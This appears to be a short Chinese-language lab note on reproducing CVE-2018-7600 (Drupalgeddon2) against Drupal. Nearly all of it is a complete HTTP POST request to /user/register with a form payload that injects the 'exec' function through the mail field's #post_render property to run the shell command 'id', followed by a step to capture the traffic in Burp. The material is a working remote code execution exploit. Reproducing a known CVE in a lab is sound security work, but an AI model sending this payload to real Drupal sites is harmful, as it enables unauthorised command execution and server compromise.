漏洞复现: 1.参考a2u / CVE-2018-7600,我们可以向drupal发送以下请求: POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
2.burp捉包